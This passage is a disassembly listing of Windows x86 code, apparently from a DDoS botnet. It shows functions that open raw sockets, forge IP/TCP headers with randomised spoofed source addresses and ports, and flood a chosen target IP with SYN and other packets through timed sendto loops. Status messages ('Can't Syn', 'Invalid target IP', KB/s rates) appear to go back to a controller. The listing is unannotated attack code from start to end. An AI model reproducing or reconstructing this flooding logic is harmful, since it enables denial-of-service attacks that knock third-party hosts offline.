var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2944h
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_A3]
		mov	[ebp+var_A4], bl
		mov	esi, 100h
		rep stosd
		stosw
		push	esi
		stosb
		call	sub_42B4D7
		pop	ecx
		mov	edi, eax
		push	esi
		push	edi
		call	dword_456F4C	; gethostname
		push	edi
		call	dword_456FD4	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_234]
		push	eax
		push	202h
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jz	short loc_422650
		push	ebx
		call	dword_437174	; ExitThread


loc_422650:				; CODE XREF: sub_4225E4+63j
		xor	esi, esi
		inc	esi
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4372C8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_422699
		call	dword_4372DC	; WSAGetLastError
		push	eax
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
		lea	eax, [ebp+var_2944]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 14h
		push	ebx
		call	dword_437174	; ExitThread


loc_422699:				; CODE XREF: sub_4225E4+87j
		lea	ecx, [ebp+var_48]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_48], esi
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4226DD
		call	dword_4372DC	; WSAGetLastError
		push	eax
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
		lea	eax, [ebp+var_2944]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 14h
		push	ebx
		call	dword_437174	; ExitThread


loc_4226DD:				; CODE XREF: sub_4225E4+CBj
		push	[ebp+arg_4]
		mov	esi, dword_4372C4
		mov	[ebp+var_68], 2
		call	esi ; dword_4372C4
		mov	edi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_66], ax
		mov	[ebp+var_64], edi
		mov	[ebp+var_24], 45h
		call	esi ; dword_4372C4
		push	[ebp+arg_4]
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], 1
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_1B], 6
		mov	[ebp+var_1A], bx
		mov	[ebp+var_14], edi
		call	esi ; dword_4372C4
		push	4000h
		mov	[ebp+var_36], ax
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], 50h
		mov	[ebp+var_2B], 2
		call	esi ; dword_4372C4
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_26], bx
		mov	[ebp+arg_4], ebx
		call	dword_43718C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		push	[ebp+var_54]
		mov	eax, [ebp+arg_8]
		cdq
		push	[ebp+var_58]
		push	edx
		push	eax
		call	sub_42C4F0
		add	eax, [ebp+var_8]
		adc	edx, [ebp+var_4]
		mov	[ebp+var_50], eax
		mov	[ebp+var_4C], edx


loc_422774:				; CODE XREF: sub_4225E4+2DAj
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		push	14h
		idiv	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], bx
		and	eax, 0FFFFFFh
		mov	[ebp+var_3C], bl
		mov	[ebp+var_3B], 6
		shl	edx, 18h
		or	edx, eax
		mov	eax, [ebp+var_14]
		mov	edi, edx
		mov	[ebp+var_40], eax
		mov	[ebp+var_10], edi
		call	esi ; dword_4372C4
		mov	[ebp+var_3A], ax
		mov	[ebp+var_18], edi
		call	sub_429B9C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	esi ; dword_4372C4
		mov	[ebp+var_38], ax
		call	sub_429B9C
		mov	edi, eax
		shl	edi, 10h
		call	sub_429B9C
		or	edi, eax
		push	edi
		call	esi ; dword_4372C4
		movzx	eax, ax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_44]
		push	0Ch
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_429420
		push	14h
		lea	eax, [ebp+var_38]
		pop	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_A4]
		push	20h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_28], ax
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_429420
		push	4
		lea	eax, [ebp+var_7C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 44h
		lea	eax, [ebp+var_A4]
		push	28h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_1A], ax
		push	edi
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_429420
		add	esp, 14h
		lea	eax, [ebp+var_68]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_437294	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4228C3
		add	[ebp+arg_4], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4370D0	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_4C]
		jg	short loc_4228EC
		jl	short loc_4228B5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_50]
		jnb	short loc_4228EC


loc_4228B5:				; CODE XREF: sub_4225E4+2C7j
		push	[ebp+arg_C]
		call	dword_437190	; Sleep
		jmp	loc_422774
; ---------------------------------------------------------------------------


loc_4228C3:				; CODE XREF: sub_4225E4+2B0j
		call	dword_4372DC	; WSAGetLastError
		push	eax
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	offset aSErrorD	; "%s Error: %d"
		lea	eax, [ebp+var_2944]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 14h
		xor	eax, eax
		jmp	short loc_4228FE
; ---------------------------------------------------------------------------


loc_4228EC:				; CODE XREF: sub_4225E4+2C5j
					; sub_4225E4+2CFj
		push	[ebp+var_C]
		call	dword_4372D8	; closesocket
		call	dword_4372AC	; WSACleanup
		mov	eax, [ebp+arg_4]


loc_4228FE:				; CODE XREF: sub_4225E4+306j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4225E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422903	proc near		; CODE XREF: sub_4229B7+50p

var_2710	= byte ptr -2710h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 2710h
		call	sub_429B60
		push	[ebp+arg_14]
		call	sub_41E3EC
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	eax
		call	sub_4225E4
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4229A9
		push	esi
		call	dword_4372DC	; WSAGetLastError
		push	eax
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d"
		lea	eax, [ebp+var_2710]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 14h
		cmp	[ebp+arg_8], 0
		mov	esi, offset aS_5 ; "%s"
		jnz	short loc_42297B
		cmp	[ebp+arg_C], 0
		jnz	short loc_422981
		lea	eax, [ebp+var_2710]
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_42297B:				; CODE XREF: sub_422903+5Aj
		cmp	[ebp+arg_C], 0
		jz	short loc_422997


loc_422981:				; CODE XREF: sub_422903+60j
		lea	eax, [ebp+var_2710]
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_422997:				; CODE XREF: sub_422903+7Cj
		push	[ebp+arg_10]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
		pop	esi


loc_4229A9:				; CODE XREF: sub_422903+29j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	[ebp+arg_1C]
		leave
		retn
sub_422903	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229B7	proc near		; DATA XREF: sub_40A9FE+6B13o

var_2830	= byte ptr -2830h
var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2830h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	48h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_120]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+11Ch], 1
		lea	eax, [ebp+var_11C]
		mov	edi, [ebp+var_120]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_9C]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	sub_422903
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	offset aSS@IkbS	; "%s %s @ (%iKB/s)"
		lea	eax, [ebp+var_2830]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 3Ch
		cmp	[ebp+var_8], 0
		mov	esi, offset aS_5 ; "%s"
		jnz	short loc_422A59
		cmp	[ebp+var_C], 0
		jnz	short loc_422A5F
		lea	eax, [ebp+var_2830]
		push	eax
		lea	eax, [ebp+var_9C]
		push	esi
		push	eax
		push	edi
		call	sub_41CE4A
		add	esp, 10h


loc_422A59:				; CODE XREF: sub_4229B7+82j
		cmp	[ebp+var_C], 0
		jz	short loc_422A77


loc_422A5F:				; CODE XREF: sub_4229B7+88j
		lea	eax, [ebp+var_2830]
		push	eax
		lea	eax, [ebp+var_9C]
		push	esi
		push	eax
		push	edi
		call	sub_41CDD4
		add	esp, 10h


loc_422A77:				; CODE XREF: sub_4229B7+A6j
		push	[ebp+var_1C]
		call	sub_423623
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_4229B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A88	proc near		; DATA XREF: sub_40A9FE+792Eo

var_2834	= byte ptr -2834h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2834h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_124]
		rep movsd
		push	[ebp+var_10]
		mov	edi, [ebp+var_124]
		mov	dword ptr [eax+120h], 1
		lea	eax, [ebp+var_A0]
		push	[ebp+var_C]
		push	eax
		push	edi
		push	[ebp+var_8]
		lea	eax, [ebp+var_120]
		push	[ebp+var_20]
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+var_1C]
		push	eax
		call	sub_422B50
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		lea	eax, [ebp+var_2834]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_429B03
		xor	esi, esi
		add	esp, 3Ch
		cmp	[ebp+var_C], esi
		jnz	short loc_422B22
		cmp	[ebp+var_10], esi
		jnz	short loc_422B27
		lea	eax, [ebp+var_2834]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	edi
		call	sub_41CE4A
		add	esp, 0Ch


loc_422B22:				; CODE XREF: sub_422A88+7Cj
		cmp	[ebp+var_10], esi
		jz	short loc_422B3E


loc_422B27:				; CODE XREF: sub_422A88+81j
		lea	eax, [ebp+var_2834]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	edi
		call	sub_41CDD4
		add	esp, 0Ch


loc_422B3E:				; CODE XREF: sub_422A88+9Dj
		push	[ebp+var_20]
		call	sub_423623
		pop	ecx
		push	esi
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
sub_422A88	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B50	proc near		; CODE XREF: sub_422A88+53p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		push	338h
		push	200h
		mov	[ebp+var_1C], esi
		call	sub_41E415
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx
		mov	ebx, 0FFh
		push	2
		xor	ecx, ecx
		pop	edx
		xor	eax, eax
		cmp	[ebp+arg_14], esi
		lea	edi, [ebp+var_54]
		mov	[ebp+var_88], ecx
		mov	[ebp+var_84], esi
		mov	[ebp+var_80], edx
		mov	[ebp+var_7C], 4
		mov	[ebp+var_78], 6
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 0Eh
		mov	[ebp+var_68], 15h
		mov	[ebp+var_64], 2Ch
		mov	[ebp+var_60], 6Fh
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_58], ecx
		mov	[ebp+var_4C], ecx
		stosd
		lea	edi, [ebp+var_24]
		mov	[ebp+var_48], ecx
		mov	[ebp+var_44], ecx
		mov	[ebp+var_40], 200h
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 4
		mov	[ebp+var_34], 10h
		mov	[ebp+var_30], 1A0Ah
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], ecx
		stosd
		jnz	short loc_422C19
		push	offset dword_457C40
		call	sub_41E3EC
		pop	ecx
		mov	edi, eax
		jmp	short loc_422C3D
; ---------------------------------------------------------------------------


loc_422C19:				; CODE XREF: sub_422B50+B8j
		mov	esi, 100h
		push	esi
		call	sub_42B4D7
		pop	ecx
		mov	edi, eax
		push	esi
		push	edi
		call	dword_456F4C	; gethostname
		push	edi
		call	dword_456FD4	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	edi, [eax]


loc_422C3D:				; CODE XREF: sub_422B50+C7j
		push	ebx
		push	3
		push	2
		call	dword_4372BC	; socket
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+arg_14], eax
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_422CC3
		cmp	[ebp+arg_20], 0
		mov	edi, dword_437170
		mov	esi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		mov	ebx, offset aSCanTUseRawOpt ; "%s Can't use raw opt: %d"
		jnz	short loc_422C90
		cmp	[ebp+arg_24], 0
		jnz	short loc_422C96
		call	edi ; dword_437170
		push	eax
		push	esi
		push	ebx
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		call	sub_41CE4A
		add	esp, 14h


loc_422C90:				; CODE XREF: sub_422B50+125j
		cmp	[ebp+arg_24], 0
		jz	short loc_422CA9


loc_422C96:				; CODE XREF: sub_422B50+12Bj
		call	edi ; dword_437170
		push	eax
		push	esi
		push	ebx
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		call	sub_41CDD4
		add	esp, 14h


loc_422CA9:				; CODE XREF: sub_422B50+144j
		push	[ebp+arg_14]
		call	dword_4372D8	; closesocket
		push	[ebp+arg_10]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread


loc_422CC3:				; CODE XREF: sub_422B50+10Fj
		push	[ebp+var_4]
		call	sub_4297B8
		mov	esi, dword_437188
		pop	ecx
		mov	[ebp+arg_24], eax
		call	esi ; dword_437188
		push	[ebp+arg_0]
		mov	[ebp+arg_1C], eax
		call	dword_456F7C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4372C4	; ntohs
		mov	[ebp+var_96], ax
		jmp	loc_422DDF
; ---------------------------------------------------------------------------


loc_422D07:				; CODE XREF: sub_422B50+2A0j
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		and	edi, 0FFFFFFh
		idiv	ecx
		shl	edx, 18h
		or	edi, edx
		call	sub_429B9C
		cdq
		mov	ecx, 0F4h
		idiv	ecx
		mov	[ebp+var_50], edx
		call	sub_429B9C
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_18], 45h
		idiv	ecx
		mov	[ebp+var_17], 4
		mov	[ebp+var_20], edx
		call	sub_429B9C
		mov	[ebp+var_14], ax
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_4C]
		push	eax
		call	dword_456F38	; ntohs
		push	[ebp+var_4]
		mov	[ebp+var_12], ax
		call	dword_456F38	; ntohs
		mov	[ebp+var_16], ax
		mov	[ebp+var_10], bl
		call	sub_429B9C
		push	0Eh
		mov	[ebp+var_C], edi
		cdq
		pop	ecx
		idiv	ecx
		push	[ebp+arg_0]
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_F], al
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		push	[ebp+arg_24]
		call	sub_429420
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	[ebp+var_4]
		push	[ebp+arg_24]
		push	[ebp+arg_14]
		call	dword_437294	; sendto
		push	[ebp+arg_C]
		call	dword_437190	; Sleep


loc_422DDF:				; CODE XREF: sub_422B50+1B2j
		call	esi ; dword_437188
		sub	eax, [ebp+arg_1C]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_8]
		jbe	loc_422D07
		push	[ebp+arg_24]
		call	sub_4298F2
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4372D8	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_422B50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E10	proc near		; DATA XREF: sub_40A9FE+941Ao

var_2A5C	= byte ptr -2A5Ch
var_34C		= byte ptr -34Ch
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_94		= byte ptr -94h
var_88		= byte ptr -88h
var_80		= byte ptr -80h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= word ptr -62h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2A5Ch
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	69h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_24C]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+1A0h], esi
		mov	eax, [ebp+var_24C]
		mov	[ebp+arg_0], eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_A7]
		mov	[ebp+var_A8], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_437188
		call	edi ; dword_437188
		push	eax
		call	sub_429B8F
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4372BC	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	loc_422F15
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		lea	eax, [ebp+var_2A5C]
		push	offset aSSD__0	; "%s %s <%d>."
		push	eax
		call	sub_429B03
		add	esp, 14h
		cmp	[ebp+var_B0], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_422ED8
		cmp	[ebp+var_B4], ebx
		jnz	short loc_422EE0
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_422ED8:				; CODE XREF: sub_422E10+A4j
		cmp	[ebp+var_B4], ebx
		jz	short loc_422EFA


loc_422EE0:				; CODE XREF: sub_422E10+ACj
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_422EFA:				; CODE XREF: sub_422E10+CEj
		push	0FFFFFFFFh
		call	dword_4372D8	; closesocket
		push	[ebp+var_C8]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_422F15:				; CODE XREF: sub_422E10+6Ej
		lea	ecx, [ebp+var_3C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_3C], esi
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	loc_422FC3
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		lea	eax, [ebp+var_2A5C]
		push	offset aSSD__0	; "%s %s <%d>."
		push	eax
		call	sub_429B03
		add	esp, 14h
		cmp	[ebp+var_B0], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_422F85
		cmp	[ebp+var_B4], ebx
		jnz	short loc_422F8D
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_422F85:				; CODE XREF: sub_422E10+151j
		cmp	[ebp+var_B4], ebx
		jz	short loc_422FA7


loc_422F8D:				; CODE XREF: sub_422E10+159j
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_422FA7:				; CODE XREF: sub_422E10+17Bj
		push	[ebp+var_8]
		call	dword_4372D8	; closesocket
		push	[ebp+var_C8]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_422FC3:				; CODE XREF: sub_422E10+11Bj
		lea	eax, [ebp+var_248]
		push	eax
		call	dword_4372C0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42305F
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		lea	eax, [ebp+var_2A5C]
		push	offset aSInvalidTarget ; "%s Invalid target IP."
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		cmp	[ebp+var_B0], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_423021
		cmp	[ebp+var_B4], ebx
		jnz	short loc_423029
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_423021:				; CODE XREF: sub_422E10+1EDj
		cmp	[ebp+var_B4], ebx
		jz	short loc_423043


loc_423029:				; CODE XREF: sub_422E10+1F5j
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_423043:				; CODE XREF: sub_422E10+217j
		push	[ebp+var_8]
		call	dword_4372D8	; closesocket
		push	[ebp+var_C8]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_42305F:				; CODE XREF: sub_422E10+1C3j
		push	10h
		lea	eax, [ebp+var_4C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_34C]
		push	100h
		push	eax
		call	dword_4372E0	; gethostname
		lea	eax, [ebp+var_34C]
		push	eax
		call	dword_4372A4	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4C], 2
		mov	[ebp+var_C], eax
		call	dword_456F38	; ntohs
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_248]
		push	eax
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_48], eax
		mov	[ebp+var_4], ebx
		call	edi ; dword_437188
		mov	[ebp+var_24], eax
		call	edi ; dword_437188
		sub	eax, [ebp+var_24]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_C0]
		ja	loc_423357
		push	14h
		pop	esi


loc_4230DD:				; CODE XREF: sub_422E10+541j
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		push	28h
		idiv	ecx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], 45h
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	dword_456F38	; ntohs
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_36], ax
